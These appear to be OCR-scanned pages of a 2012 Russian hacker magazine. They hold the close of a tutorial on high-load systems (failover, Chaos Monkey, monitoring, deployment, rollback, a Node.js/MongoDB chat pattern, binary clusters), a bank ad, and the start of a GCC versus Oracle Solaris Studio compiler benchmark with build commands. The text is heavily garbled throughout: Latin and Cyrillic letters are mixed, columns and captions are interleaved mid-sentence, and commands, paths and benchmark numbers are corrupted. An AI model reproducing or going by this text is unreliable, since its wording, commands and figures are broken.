в се э кзе м пля р ы, до пусти м, бэкенда, должны одновременно принять решение 0 переключении на новый сервер базы данных.
т0 му чт0
И что
уйдет на ста р ы й сервер, часть на новый, и гарантированно появится огромная проблема бэ ке ндо в
целостностьюданных. Поэтому автоматическое переключение на реплику испOльзуется редко. 06ычно на реплику переключаюттолько чтение из базы данных, 0днOвременно отключая [деградация функциональности, это тоже она| запись в базуданных. И естественно, все это сопровождается взводом красных флажков в системе мониторинга. Впрочем, о системе мOнитOринга позже. с
ПРИНЦИПЫ НАДЕЖНOСТИ Мы
делать, если старый сервер
ужеупоминали
в
прошлыхуро-
ках все основные способы введения избыточности, поэтому просто
.
перечислим их:
машине
Подробно о децадации функциональности мы рассказывали в четвертофо*., а сейчас вернемся к надежности. Oдно но как
базы данных восстановится? Часть
.
.
для фронтенда это балансировка или составление пар серверов, в которых один всегда запасной.
Запасной сервер включаетсятольк0 втом случае, если ведущий перестал откликаться и обрабатыватьзапросы; для бэкенда это гомогенные взаимозаменяемые бэкенды, отсутствие точек отказа {п ри нцип shагеd nothing), отсутствие изменения состояния бэкенда после обработки запроса [принцип statelessl;
длябазданныхэтоденормализация, репликации, кластеры. ,Щля би нарн ых,данн ых это
резервирование и
нформ аци и.
и
дублирование
АкАдЕi,lия 0т АвтOрOв
появления нOвыхданных
0сновнырt направлением деятельности нащей компании является
на реплике, время выпOлнения
решение пробле!l, связанных с высокой нагрузкой, консультирование, проектирование масtштабируемыхархитектур, проведение нагрузочных тестирований и оптиltlизация сайтов. В число наlлих клиентов входят инвесторы из России и со всего }rира, а также проекты <ВКонтакте>, кЭльдорадо>, <Ирtхонет>. Photosight.гu и другие. Во время консультаций ltlы част0 сталкиваемся стем, что llногие не знаютсамых 0снов- что такOе }lас1llтабирование и какиl.,t оно бывает. какие инструменты и для чего используются. Эта публикация завершает серию статей <Учебник по высоки].1 наrрузкаl,t>. В этих статьях i,lы постарались последовательно рассказать обо всех инстру]чlентах, которые используются при построен ии архитектуры высокOнагруженных систем.
IllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllIllllllllllllllllllllllllllll Как в программном обеспечении ты избегаешь единых точек отказа, точно так же надо избегать точек отказа и в железе. Старайся не использовать никакого уникального оборудования без крайней на то нужды. Ты удивишься, но поиск Яндекса, обрабатывающий десятки тысяч запросов в секунду и хранящий колоссальное количество информации, построен на самых обычных серверах. И вот почему: . легкоипрOстOдOстигается взаимOзаменяемостькOмпOнентOв; . закупка новых серверов и кOмплектующих не представляет п
не нужн о полгода ждать из робл е м ы -тебе и кал ьную детал ь.
С
ША ка кую -то
ун
cHAOs ],l0NкЕY Говоря о надежности и отказоустойчивости, не можем неупомянуть один из самых интересных способовтестирования. Как проверить, продолжитли наша система работать при выходе из строя отдельных серверов или компонентов?
Инженеры компании Netflix придумали инструмент и назвали ег0 Chaos Monkey. Работа обезьянки Хаоса состоит в том, чтобы хаотично прибивать случайный сервис или процесс на каком-то случайно выбранном сервере программной системы. Весь проект при этом должен продолжать работать, какой бы конкретно процесс ни убила Chaos Monkey. Системные администратOры 0ценят прOстOту и элегантнOсть решения скрипт -9> для случайного процесса. на пару строк, вызывающий
"kill
1t{OнитOРинг Итак, применяя все изложенное в предыдущих уроках и начале этой статьи, мы построили масштабируемую высоконагруженную систему. Все узлы продублированы, введена некоторая избыточность оборудования. Это все? Нет, не все. Второй ключевой аспект крупнOго проекта ты должен знать о нем абсолютно все! Все, что происходит в любой точке системы, любые аномалии в поведении отдельных элементов твоей программной системы нужно оперативно детектирOвать и анализирOвать. 0бычно в мониторинг попадает некий джентльменский набор параметров вроде значения load ачегаgеs, количества чтений/записи с диска, свободного пространства на дисках, количества процессов, трафика, Это важно, но этого недостаточно. Советуем также включить в мониторинг еще два вида
.
п а
ра
метро в:
бизнес-параметры, например количество регистраций за последнюю минуту, количество отправляемых сообщений, колиество по и с ко в ых за п росов и други е. То есть та кие па ра м етр ы, которые описывают поведение и работу бизнес-логики твоего п р0 е кта; ч
.
болеедетальныеспециализированныетехническиепараме-
огромный приток регистраций, ты 0тслеживаешь этOт прOцесс и свOевременн0 начинаешь пOдгOтOвку нOвых серверOв для нOвых
пример, картинки в фотоальбоме стали 0тдаваться 0чень медленн0 0дин из серверOв вышел из стрOя и на синхрOнизацию с ег0 заменой уходит очень много времени. Или в одном из голосований кOличеств0 прOгOлOсOвавших вырOсл0 д0 миллиOна и прOверка на уникальнOсть гOлOса теперь идет слишкOм дOлг0, Нормально ли так пускаться в детали?,Ща, нормально. Приведу пример на последней конференции HighLoad++ 0лег Илларионов из *ВКонтакте) рассказал 0 тOм, чт0 0ни пOстOянн0 мOнитOрят 0тдачу картинOк и ин0гда вручную обрабатывают рост интереса к какой-то конкретной
шардOв,
ка рти
отдельных операций в базе н н ы х. То есть техн ичес к и е параметры, которые описывают
да
работу именнотвоего проекта, учитывая его специфику и функци онал ьн
ость.
Мониторинг бизнес-параметрOв даст вOзмOжнOсть 0тслеживать изменения в пOведении пользователей и реагировать
на них. Например, ссылка с главной страницы Яндекса вызовет
Или во время выборов пользователи начинают активн0 переписываться, а нескOльк0 групп резк0 растут в размерах. Наблюдение за такими параметрами пOмOжет тебе реагировать проактивно, например пOдгOтOвить для 0пп0зиционеров отдельный сервер и перенести крупные группы туда :}. Это удобно во всех отношениях. Кстати, мониторинг бизнеспоказателей это основной инструмент, как ни странн0, и пр0гнозирования нагрузки. Если ты знаешь темпы роста своего сайта, т0 смOжешь пOдсчитать нагрузку через неделю или месяц. Специализированный технический мониторинг дает информацию о работе отдельных пOдсистем твOег0 прOекта, причем именн0 твOег0 прOекта. Ты сможешь увидеть залипания каких-т0 0тдельных сервисOв и реагировать именно на них. На-
-
-
н
ке.
Примером такой картинки 0лег назвал аватарку Павла,Щурова, что вовсе не удивительно! Кстати, она не лежит в стандартной системе хранения и дOставки контента <ВКонтакте>. Аватарка Павла !урова это статика, разложенная на все фронтенды, и отдается вместе со всеми CSS- и JSфайлами и друrими картинками оформления. Это очень хороший пример крупной системы простое решение проблемы, которую заметили с пOмOщью хOрOш0 пр0-
-
-
стрOеннOг0 мOнитOринга.
вOсстАнOвлЕниЕ Итак, мы не просто построили крупную систему, мы построили классный мониторинг. Мы знаем все, что прOисхOдит в системе, в каждOм ееуголке. Чтоделать, если мы обнаружили проблему? Все средства восстановления должны быть
Мониторинг: рiпЬа бф
лГ
5ф
o,?+/J,/1
:1З6.87928 r.q/sе< : 87,71192 r.q/scc : Lз6.7227в req/s.< : m, З6740 raqlscc : 1.95892 .cq/s.c : 2o5.5S122 reql5cc : б.65668 r.q/scc : 4L78226 r.q/sсс : 79,88ЗSб reqlscc : 42,з9296 r.о/sёс
тры, например время 0тдачи 0тдельных страниц, задержка
11z
хлкЕр 12/1ь7/2012
Учебник по высоким нагрузкам. Урок
автоматизированы. Если ты сталкиваешься с какой-то проблемой более чем один раз ее. Но большую часть авто-автоматизируй матизируй априори. Синхронизация сервера для хранения картинок должна производиться скриптом. Изменение настроек- скриптом, настройка нового сервера более. Подробнее об этом стоит почитать -тем популярную нынетему DevOps, а мы приведем несколько ключевых мыслей издоклада Александра Титова и Игоря Курочкина про 0рганизацию системнOг0 администрирования в компании Skype.
"Хорошо. слон не падает?u-<Слон стоит на черепаБольше не спрашивайте меня, потому что дальше идут одни черепахи). 0дин сервер-это, по сути дела, оно и есть, основа всего. С одним сервером все понятно. Oн просто администрируется 0дним специалистом, который владеет полной информацией о сона
слоне).-(Почему
стOянии этOго сервера все умещается у него в голове.,Щальше идет следующий уровень- пять серверов. По большому счету, подхOды те же самые, но уже начинается обобщение и автома-
тизация. Появляются скрипты, решающие ту или иную задачу системного администрирования. Больше двадцати машин это в первую очередь большая система. Уже на этом уровне возникают проблемы из-за раэницы конфигураций. Разные версии Ll РС на одном сервере работают, на другом сервере не работают. Разные версии РНР, Ruby. Все этодостаточно знакомо многим. Начинает требоваться большое количество документации. Каждое изменение ты должен прописать ведь когда различнOг0 рOда неочевидных изменений станет много, ты начнешь их забывать. На количестве машин больше двадцати стOимOсть пOддержки сильн0 превышает стоимость внесения изменений. Ты перестаешь вносить изменения, ты постоянно исправляешь ошибки. В этот момент начинает приходить понимание, что надо управлять не одноЙ машиноЙ, а какоЙ-то абстрагированноЙ штукой кластером. Потребуется ввести автоматическую
-
-
-
н l Gн LOAD_ и
известный специалист по HighloadпрOектам, Его компания <Лаборатория 0лега Бунина" специализируется на консалтинге, разработке и тестировании высOкOнагруженных ве6-проектов. Сейчас является организатором конферен ци и Н i gh Load++ (цLцrw hrф |s!{i_ г!]. это конференция, посЬященная высOким нагрузкам, котOрая ежегодно собираетлучших в мире специалистов по разработке крупных проектов. Благодаря этой конференции знаком со всеми ведущими специалистами мира высоконагруженных систем.
хлкЕр
12116712012
a Da
А11
О 08 S.lcct l 0в tJpdatc tr DB Ins..t l m соппесt
l &.(a(hed a Аs.агсh О conta<td
a a l В
vot.d Hltd hotlfy Rot.t
е
lfu 12 о0 : 2з02, бж1 9с( | 5I8.67097 5.с : 2о4,62864 ,.( : ж,4l4я ý.. I 1282.095з4 5ес | 85з,4з589 ý.< ; 1,283.75471 5ес :226.2оо77 s.c : 75.87418 5с( : 72.119за ý.. : 7.89165 se( : о, mф g.(
устанOвку машин, автOматическOе управление конфигурациями, автOматическOе развертывание сервисOв и автOматическую выкатку. Про автоматическую выкатку надо поговорить подробнее.
/ SбI. o7l55 / 26],з.88119 / 2765,6|1з2 / 7о7а,412\7 / з2в,s7о74
/
/
/
7as8,52965 / 4Б2.99194 2oo2,o2LBB
/ 7Ф,з2749 l 779-77о2э / 7о,7677| 0,ооOOо
турой очень серьезный, особенно
времени копирования данныхl. Вопрос владения своей инфраструк-
если возникает необходимость масштабироваться или, скажем, выкатываться в облако. ,Щопустим, сломался конкретный сервис. Поднимаем данные из бэкапов. Если на подъем всего прOекта занOв0 ухOдит день, вOзможно, этот день будет фатальным для твоего бизнеса. Amazon в этом плане очень правильн0 учит людеЙ. Когда ты берешь машину ЕС2, она может перезагрузиться в любую секунду, и там не оста-
1.1аксим Лапщин
KoHcTaHTltH Мачlуков
DEPLOYI El{T Вопрос про dерlоуmепt-это очень важная вещь. Нужно уметь перевыкатывать весь свой сайт на новое голое железо за 20 минут [без учета
HcTPyKTOPbl
0лег Бунttн
константин 0сипов Специалист
Решения для
по базам
Биз нес-а нал ити к
данных, который долгое время работал в MySQL, где от-
организации виде-
в
0трансляции, которые существуют
Бунина. Константин пришел из
вмиренаданный
вечал как раз за
мира суперком-
мOмент, мOжно
пьютерOв, где
высOкOнагруженный сектор. Быстрота MySQL- в большой степени заслуга именно Кости 0сипова. В свое время он эанимался масштабируемостью MySQL 5.5. Сейчас отвечает в Mail.Ru за кластерную NoSQL базуданных Тагапtооl, которая обслуживает 500-600тысяч запросов в секунду, Использовать этот 0pen Sочгсе проект можетлюбой желающий.
6
}*lониторинг: рiпЬа
Есть одна п р итча, кото рая о п исы вает э вол ю ци ю. Ко гда царь пришел к мудрецу и спросил его:.Какустроена Земля? Почему о н а не пада ет?)>, мудрец ответил: .Земл я стоит на л ьве>,. Тогда Почемулев не падает?>-*Лев стоит царь спросил:
хе.
No
пересчитатьп0 пальцам. Макс
разработал одно из них- Егlучidео [щ]щrс]еo olgl. Это серверное приложен ие, кOторOе
занимается пOтOко-
вым видео. При создании подобных инструментOв возникает целая куча сложнейших проблем со скоростью. У Ма кси ма та кже есть некоторы й опыт, связанный с масштабированием средних сайтов lнетаких крупных, как Mail.Ru), Подсредними мы подразумеваем такие сайты, количество обращений к которы м достигает около 60 миллионов в сутки.
компании 0лега
долгое время (пилил> различные научные прилOжения, связанные
числодробилками. В качестве бизнес-аналитика участвует во всех консалтингOвых прOектах компании, будьто социальные сети, крупные интернет_магазины или системы электронных платежей. с
АкАдЕ},lия
нется ничег0, никаких данных, и нужн0 иметь вO3мOжнOсть выкатываться на голый Linux в течение минут. Чтобы нормально жить в условиях меняющегося железа и нового подключающегося железа, тебе необходимо владеть своей инфраструктурой и быть уверенным в том, что и инициализация новых серверов тоже будет работать, Это первое, что нужно сказать о deployment. Второе это вообще процесс выкатывания обновления сайта. Пусть мы взяли админа и админ нам обещает, что он в случае чего все выкатит за час. Поверим его обещаниям, хотя, конечно, не стоит:). !альше в дело вступают программисты. Программиста спрашивают: <Покажи на сайте новую вещь>.0н говорит: <У нас апдейты выходят раз в неделю>. Можно так работать? Нет, так работать нельзя. Выкатывание новой версии на сайт должно произв0диться максимально легко. 0пять же это нужно, чтобы ты мог быстро пробовать новые веши, чтобы можно было легко и быстро поправить. За что не любят в вебе Java? Помимо прочих надо долго компилировать. Нельпричин, одна из проблем зя взять и быстро выкатить на сайт, хотя это бывает нужно. Что бы кто ни говорил, но даже в самых больших и крупных проектах иногда бывает редактирование кода на продакшне. Просто кто-то в этом признается, а кто-то не признается. В любом крупном проекте такое иногда бывает. Все зависит от того, как именно организован деплой. Есть разные способы все это упростить, автоматизировать. Но в любом случае все должно быть подконтрольно, никаких магических выкатывалOк, никаких <0н0 как-т0 расползается по кластеру>. Это означает, что ты не контролируешь процесс, а раз не контролируешь, то он неизбежно сломается, приведя к серьезным трудноуловимым ошибкам. Существует большое количество инструментов для деплоймента, изучи и выбери оптимальный для конкретной ситуации. Например, библиотека Сарistгапо. Ты описываешь в специальном формате процесс выкатки, прописываешь списки серверов, библиотеки кода, что и куда выкатывать, что и где перезапускать. И далее процесс выкатки упрощается до запуска управляющей команды.
-
-
прOцЕсс 0ткАтА
-
что дел ать, есл и М ы упо мя нем та кже и о п роцессе отката обновление, котороеты только что выкатил, сломалось в боевыхусловиях? Нужно оперативно и быстро откатиться назад. конечно, чистая магия, Автоматизация процесса отката -это, о которой мы в нашей статье говорить не будем. Но один совет для того, чтобы облегчить процесс отката, это изменения приведем, 0сновная проблема отката в базе данных. Oтсюда вывод-любое изменение в базе данных должно быть оформлено в виде файла с конкретными SQL-командами. Этот файл должен быть положен в репозиторий, и именно этот файл выполняет скрипт деплоймента для выкатки новой версии схемы базы данных. Вместе с этим файлом ты также можешь класть и файл, содержащий SQLкоманды для отката к предыдущему состоянию схемы СУБ[. Ясно, что это должны быть автономные атомарные команды. !,опустим, ты добавляешь новое поле в регистрационную информацию пOльзователя. Значит, SQL-файл, который нужно выполнить дё выкатки требуемого кода на боевые серверы, содержит команду add соlчmп, а SQL-файл для отката к предыдущей версии этот же столбец удаляет. 0пять же ясно, что программный код не должен ломаться оттого, что пришел лишний столбец или, наоборот. нужный столбец в базе данных не существует. 0перация деплоя не атомарна, ситуация, когда код уже новый, а изменения в СУБД до реплики не докатились, теоретически возможна.
-
114
на магии выкатки мы и заканчиваем наш учебник. В качестве добавки рассмотрим еще несколько оснOвных паттернOв прOекти-
Каждый из Node.js'oB знает идентификаторы всех клиентов, с кOтOрыми у нег0 устанOвлена
чАт
связь. Если из потока репликации приходит сообщение для одного из своих клиентов, то забираем его и отправляем в браузер
Са
кл ие нта.
рOвания.
крал ьн ы й чат- ну ка ко й п ром м ист не п и сал его? Рассмотри м
гра
простую схему простой переписки м ежду п ол ьзователя м и, Ка к реализовать моментальнOе пOявление новых сообщений в окне переписки? Итак, каждый новый клиент устанавливает сOединение с одним из <быстрых> серверов lнапример, Node.js), от него JачаSсгiрt, работающий в браузере клиента, будет получать новые сообщения, обрабатывать их и вывOдить в 0кне переписки. Получение будет происходить в режиме AJAX Long Polling [постоянно открытое соединение). 0тправка.на сервер нового сообщения идет на основной РНР-сервер, который записывает его в постоянную базуданных для истории (например, MySQL)
и <быструю> базу
данных. В <быстрой> базе хранится только
актуальная переписка, например за последний день. В нашем случае будем использовать для горячей информации базу данных MongoD В.
А теперь ответ на вопрос,
почемутакой странный выборMongoDB и Node.js. Все поступающие сообщения мы записываем в кOллекцию для репликации, которую в качестве слейва слушают серверы Node.js.
Нам даже перекодировать ничего не надо, так как формат коммуникации между MongoDBсерверами, Node.js и формат храJSON. нения данных в MongoDB
-
БИНАРНЫЙ КЛАСТЕР Еще один часто встречающийся
использование бинарных кластеров. Подэтим устойчивым словосочетанием пOнимается следующее. паттерн в прOектировании
Весь пул бинарных файлов [кар-
тинки, видеофайлы) разделяется
на самые обычные шарды. Но каж-
дый из шардов состоит из двух и более серверов, информация на которых полностью дублируется. ,Щалее возможны варианты ты можешь объединить серверы
-
кластера с помощью hеагtЬеаt или САRР-решения в группе бинарного
{основной сервер и реэервный} или просто распределить трафик на несколько серверов с помощью какойнибудь простой балансировки, Подобным решением достигается одновременно и масштабируемость, и надежность. Просто единицей масштабируемости является не один сервер, а сразу группа серверOв, именуемая бинарным кластером. Пожалуй, и все, остановимся на этOм, так как 0 примерах мOжн0 говорить бесконечно. Удачи! т
хлкЕр
12/16712012
В дЕкАБрЕ ТОЛЬКО
ДЕРЖАТЕЛЯМ
<tмужскоЙ KAPTbl> п
ода роч
н
ble се рти
ф и KaTbI
от магазина Сrудии Артемия Лебедева*
* подвоБности нА WWW.MAшсARD.RU
млхIм }.lytкcкo}l )l(урнАл с N}.iЕнЕн
А п
Апьфа.Банк (gаmе)lаПd
ОАО <Альфа-Банк". Генеральная лицензия банка России на осуществление банковских операций от 05.03.20].2 N91326"
uNlxolD
PottaH Ярыженко [гоmmапiоГdуапdех,ru]
&
l0|
0Б3Oр и срАвнЕниЕ прOизвOдитЕльнOсти с0 В РЕ ]ti Е Н н blX к0},| п илят0 Р0 В !олгое время стандартом де-факто для ком-
пиляцииСlС++ кода в *пiх-системах был GCC. Но в последние годы в этой области возникли HoBble веяния, такие как LLVM/C|an9, 0гасlе Соmрilег Suite и возрожденный из забвения РСС.,.Щавай посмотрим, могут ли они составить конкуренцию безраздельно правящему набору компиляторов от проекта GNU.
гjЕIтдМ
Прежде всего, хочу сказать несколько слов о проведенных тестах и бенчмарках. Во-первых, решено было скормить компиляторам {тем из них, что поддерживают С++] библиотеку Boost, которая агрессивно использует функции С++ {к прц".оу, шаблоны и некоторые инструкции препроцессораl и оказывается своего рода камнем преткновения для некоторых компиляторов, Во-вторых, бенчмарки на скорость компиляции. К таковым я отнесу, помимо уже
116
упомянутой компиляции библиотеки Boost (отчего бы не убить двух зайцев?], компиляцию стабильных версий Apache и lma9eN4a9ick. В-третьих, качество кодогенерации. Я решил не только сравнить размеры выходных исполняемых файлов, но и проверить, насколько быстро выполняется John the Riррег и bzip2. Тестировалось все это дело на компе следующей конфигурации: Р4 5З0 З ГГц,2 Гб RAM, HDD Seagate SТЗ1000528А5.
@
Первая бета-версия GCC появилась в далеком марте 1987 года. Тогда аббревиатура GCC расшифровывалась как GNU С Соmрilег. На тот момент компилятор поддерживал архитектуры VAX, SUN и m68k. В ]99]-м была готова первая стабильная его версия, а в ]994-м, начиная с версии 4,4BSD, его сделали компилятором по умолчанию в большинстве ВSD-систем. Oдно время существоEGCS, но в ']999-м их объединили вновь. вал форк GCC В настоящее время GCC заявлена поддержка следующих стандартов С: С89 с исправлениями от 1994 и 1996 годов, связанными, в частности, с rеtUгп и лOкалями; поправки кС89от1995года-некоторыеназывают
-
. .
это С94 или С95;
хдкЕр 12l1b7/2012
Большие гонки
-
Тзрtaиri]л
!Цайл I]paвra
ro,]1
.lotп
Е]ц Iерминil П!рехол
at5iicp
,
Ьоо51,1rопk
Фfu фа.r. Щ Щ &рФ. &рФ. }кщ,
(правха
]
ДФ.щнil
инdрууеъ (лDrt.
фпIч
Фяiф
i-йч --LLVM Language Rеfегепсе Manual
8cc.(oпprle.(-- bln.v2lirb5/math/bulid/8(c-4.6/гeIeэse/threadrn8-nultrlsph_legen:l drе1 , о
gсс.сопрIlе.с-- brn.v2l],rbs/fiath/bUIld/8cc-4.6/relea9e/threadin8-rUlt1/5ph_neuFэ пп].о
g(c.llnk,dl1 bln.v2lilb9/пath/bUrld/8cc_4.6/relea9e/thгeadln8-rUit1/]tbboo5t*rat
[: -
с.Д
h_trl l. so.1 .52.0 соппоп. сору sta8e/ 1 ib/ } lbboo5t_Path_t r 1 l. 9о. l . 52. о In-UNIX ýtage/l1b/].lbboost_eath_tг ] 1. so 8cc.cofipIle.(_- brn.v2l11b5/лath/bUrid/8cc-4.6/гelea5e/threadln8_cultl/acosh.o 8с(.соf,р1].е,с-_ Ьlп.ч2/11Ьý/rаth/Ьчl]d/gс<-J.б/rеiеа9е/thгеаdlп8-r!it]/а5]пh.о
8с€.согрlIе.с_- brn.v2lltbs/пath/bUrldl8c(-f,6/releaSe/threadlnt-iuitl/atanh,.J gсс.сопрtlе.с-- bln.v2llIbs/лath/bUrldl8cc-.1.6/feieэ5e/threadtng-.Ult]/cbrt.o 8cc,corprle.c-- Ьlп.ч2l11Ьз/саth/Ьч]ld/8с<-4.6/.еlеаSе/thгеэdrпЕ-rultrZсоруsrgп. о
g(с,сопрllе.с-_ brn.v2l]rbs/nath7'bulld/8cc-4.6/release/threadln8_rUltl/erf(.o gc(.comp!le.(-bln,v2lIlb5/nath/burld/8cc-.a,6/гelease/threadIDя-cUltl/erf.o . ..оп 200th tar8et.. , g(с.соrр!lе.с-_ bIn,v2llrbs/лath/bUrld/8<c_4.6/гelea5e/th.eadlnз-rOiti/expr].o bln.v2lIlbs/fiath/bulld/8cc_4.6/re],easa/threadln8-ruitl/fгax,.r зс(.солрllе.с-gcc.<oпpri.e,c-Ьlп.ч2ll1Ьs/паth/Ьulld/8сс-4.6/rеlеаsе/thrеэdtп8-пчit:/fпtrr.о bln.v2l11b5/fiath/bUr],d/8cc_4.6/re.leo5e/threadrng-ru!ti/fpcla5slf 8(с.согрl]е.(--
у.о
gс<.<опрlIе.(--
bIn.v2ll,rbs/math/burld/gcc_4.6/.elea5e/thгeadln8-eUitl/hypot
Коttпиляция Boost
.
с
использованиеll
GCC
У LLVM неплохая
поддержка стандарта С99, которы Й включает в себя такие вещи, кактип Ьооl, iпliпе-функции и массивы переменнойдлины, заявлена [не полностью].
Также в настоящее время в GCC есть несколько дополнений, несовместимых со стандартами С. К таковым относятся, например, арифметика с указателями на функции, пустые структуры и массивы нулевой длины. .Постойl А как же С++?> - спросишь ты. Из стандартов приплюснутого С заявлена поддержка С++0З. Судя по всему, поскольку стандарт С++98 сочли имеющим ошибки, а С++0З фактически эти ошибки исправляющим, предыдущий стандарт не поддерживается. Поддержка С++]'1, ранее носившего название С++0х, как и в случае со стандартом С99, заявлена не полностью. Такие фичи, как, например, псевдонимы шаблонов, расширенное объявление (друзей> [напомню, ключевое слово fгiend позволяет одному классу напрямую обращаться к частным элементам другогоj, большинство возможностей, относящихся к параллелизму, не поддерживаются. Имеются также и расширения, несовместимые, как и в случае с обычным С, со стандартами, Расширения эти относятся, например, к шаблонам, Vоlаtilе-объектам и интерфейсам. GCC версии 4.6.З является стандартным для Ubuntu ]2.04, его и будем тестировать. Не стану описывать, как я получал ту или иную программу/библиотеку, а сразу начну непосредственно с компиляции. Первым тестом у нас будет Boost {версия из SVN], Все команды, рассматриваемые далее, выпOлняются относительно каталога с исхOдниками. Сначала собирается средство сборки самого Boost bjam:
-
$ cd too1s/build/v2 $ ./bootstгap.sh --with-toolSet=gcc $ sudo ./Ь2 instaIl too1set=8cc
$ cd ../.,/..
По умолчанию он устанавливается
в /usг/lосаl. После этого редактируется файл в домашнем каталоге пользователя usег-сопfig.jаm. Поскольку в нем всего одна строчка, используем echo:
$ echo "using gсс
;"
> -/useг-config.jam
А уже затем компилируется собственно Boost [мне понадобилось установить пакет zlib] -devl:
$ time
bjam
Время компиляции- 25 мин 52 с, но собрался он без ошибок.
хлкЕр
12 /1671
2012
докуllентация
При компиляции Apache, чтобы поддерживать несколько скомпилирOванных разными компиляторами версий с целью сравнить их размер, необходимо создать каталог, из которого будет вызываться сопfiguге, находящийся в каталоге с исходниками. КOмпилировался Apache ] мин 52 с, размер же собственно исполняемого файла httpd составил 70Ь 497 байт.,Щля компиляции lmageMagick прOизвOдились те же самые операции, что и для Apache. Время его компиляции составило 12 мин /+ с. Перейдем к John the Riррег; размер выходного файла, John, составил 227 52Ц байта, а бенчмарк MD5 - 77З2 сls. Сжатие файла размером ]450 Мб bzip2, который, к слову, чтобы не возиться с копированием версий, необходимо распаковывать для каждой компиляции в свой каталог, и исполняемый файл которого весит 21591ц байт, заняло 7 мин 56 с. Тест же 0penSSL IAES-CBC-256l показал, что при размере блока 8'l92 байта в секунду 0брабатывается З5 4З8,59 тысячи байт [именно тысячи, не uкилоrl. Д для RSД с длиной ключа в 512 бит может быть подписа но 221/+,2 сообщения в секунду. GCC 4.8, который сейчас активно разрабатывается, имеет следующие нOвинки: . Ныне он реализован не на С, а на С++. Появился новый уровень оптимизации, -09. Этотуровень разработан для быстрой компиляции и отладки, но при нем производительнOсть прOграммы дOлжна оставаться приемлемой. !обавлена опция для контроля оптимизации частичных избыточностей lPRE]. !ля архитектуры х86/х64добавлены функции времени выполнения, кOтOрые пOзвOляютOпределитьтип и возможности про-
.
. .
це сс0
ра.
Исходники доступны через SVN, поэтому для их получения ввOдим следующую кOманду:
$ svn со
svп:./
/gсс.gпu.огglsчп/gссltrчпk gcc-tгunk
-
Компиляция потребует некоторых танцев с бубном помимо того что у тебя должны быть установлены соответствующие инструмен-
ты [лично мне понадобилось доустанOвить пакеты gcc-multilib, g++multilib, liЬmрfг-dеч и libmpc-dev), придется произвести некоторые 0перации:
$ sudo 1п -s,/usг,/include/iз86_1inux_gnu/gnulstubs_з2.h /чsг/iпсlчdе/gпu/ $ sudo 1п -s /чsг/].iЬliЗ86-1iпчх-gпu/сгt* .о /usr/Iiь/ $ cd gсс-tгuпk
$ ./сопfiguге $ sudo
make
&& make
lnstaII
р
UNlxolD
.!.,,r с
8.itr-I F "-
Oratlt 9olalls StLtdio
'-
дi Tr:t l[ýii:irlb-
Mvora<le sola,r*,,,
Y'
-"''--"* ---*-'
r 6{ 51зе biocks: 880578 d€s ede3', rn 2.975 r 256 slze block9 221]9] de5 ede]'s ]п 2.98S
on
Бенчмарк
с
Так выглядит 0rасlе Solaris Stчdiо
использованием 0penSSL
Несмотря на то что, казалось бы, совместимость не должна была сколько-нибудь сильно измениться по сравнению с 4.6.З, Boost толком не скомпилировался. !ля остальных тестов приведу просто цифры:
.
. .
КомпиляцияАрасhе-1 мин52с,размерисполняемогофайлабайт. Компиляция lmageMa9ick-21 мин ЗЗ с.
РазмерисполняемогофайлаJоhп-217880байт,6енчмарк
MD5-7927c/s.
Ьziр2[размер}-2З4'lбЗбайта, времясжатияфайла-7мин 52с. БенчмаркOрепSSLАЕS-СВс-256 при размереблока8']92З9
209,64тыс. байт/с, RSA
llпlFлrrilmm
5] 2
-
2222 sign/c.
Набор компиляторов Соmрilег suite входит в состав 0гасlе Sоlагis Studio (несмотря на название, эта lDE предназначена не только для 0С Sоlагis]. Некоторые заявленные фичи компилятора С: поддержка как С89, так и С99; диалект K&R и возможность смешения ANSl С и K&R; поддержка стандарта 0репмр С для распараллеливания; поддержка прекомпилированныхзаголовочныхфайлов для уменьшения времени кOмпиляции; библиотека сборки мусора для управления кучей и отслеживания в рантайме утечек памяти.
. . . о
.
С++
. .
/ -
soIa гi
s
studio12
.
З/ bi n : /opt/ Sola гi sSt ud io12 . 3е 3/ргоd/biп : $РАТН"
linux-х86- bin/so].aгisstudio12.
70691+7
. .
.
$ bunzp2 SolaгisStudio12.З-Iinux-x86-bin.tan.bz2 -С /opt $ sudo tаг xf SоlапisStudiо12.З-liпчх-х86-Ьiп.tаг $ ехрогt РДlЦ="/орt/SоlагisStudiо12. З-].iпчх-х86-Ьiп-
[компилятор что для С, что для С++ одинаков): стандартыС++98иС++0З;стандартС++11,по-видимому, поддерживается не полностью, причем до такой степени не полностью, что в 0гасlе постеснялись говоритьдаже о частичном соответствии; можно выбирать из библиотек шаблонов стандартную библиотеку Sun либо SТLРогt; пОддержка библиотеки Boost.
*Это все, конечно, хорOшо, но где мне достать эту lDE? 0на же скажешь ты.,Ща, когда-то она стоила денег, наверняка платная>, но сейчас распространяется бесплатно. Для ее получения перейди на b i y159Qu r1, зарегистрируйся в Му 0гасlе и вперед, качай. надо же еще и установить. А вот с этим придется Но скачать мало пакета для ubuntu нет, повозиться чуть больше, чем обычно, как и установочного скрипта. Впрочем, это *большеr> именно что (чуть) и заключается всего-навсего в том, чтобы распаковать в нужную директOрию и устанOвить пути. Перейди в каталог, содержащий скачанный архив, и набери следующие команды (я использовал стандартный каталог /opt, но тебе ничто не мешает использовать /usг/lосаl или даже свой
-
домашний):
-
Затем добавь эти пути в /еtс/епчiгопmепt. Попытка сборки Boost с использованием данного компилятора благополучно провалилась..Ща нет, разумеется, какая-то часть собралась, но, как говаривал старик Хоттабыч, (чуть-чуть не считается, о драгоценнейший>. Чтобы скомпилировать Apache, в дополнение к тем 0перациям, что описаны в разделе по GCC, необходимо установить переменные окружения. В моем случае это выглядело так:
$ ехрогt СС=сс
СХХ=сс
С lmageMagick необходимо провернуть этот же трюк. Перед компиляцией John'a (как, впрочем, и перед компиля-
цией bzip2) необходимо подредактировать Makefile: вместо gcc поставить сс и убрать опции, начинающиеся с -W, поскольку оракловский компилятор их не понимает. !ля компиляции же 0penSSL потребуется поставить пакеты happycodeгs-libsocket создать симлинки в /usг/liЬ: и happycodeгs-libsocket-dev,
$ Iп -s /usг/Iib/happycodeгs/lib* /чsr/IiЬ/ и выполнить в каталоге 0penSSL следующую команду:
$ ./Сопfigчге sоlагis-х86-сс
о . о . о
Результаты тестов:
КомпиляцияАрасhе-'l минЗ9с,размерисполняемогофайла766 З68 ба йт.
Компиляция lmаgеМаgiсk-2З мин 56 с. 17875ь байт, бенчмарк Размер исполняемого файла John
-
MD5-6942c/s.
времясжатияфайла-8мин 25с. Бенчмарк 0penSSLAES-CBC-256 при размере блока 8'192bzip2 [размер)-180З81 7
ш
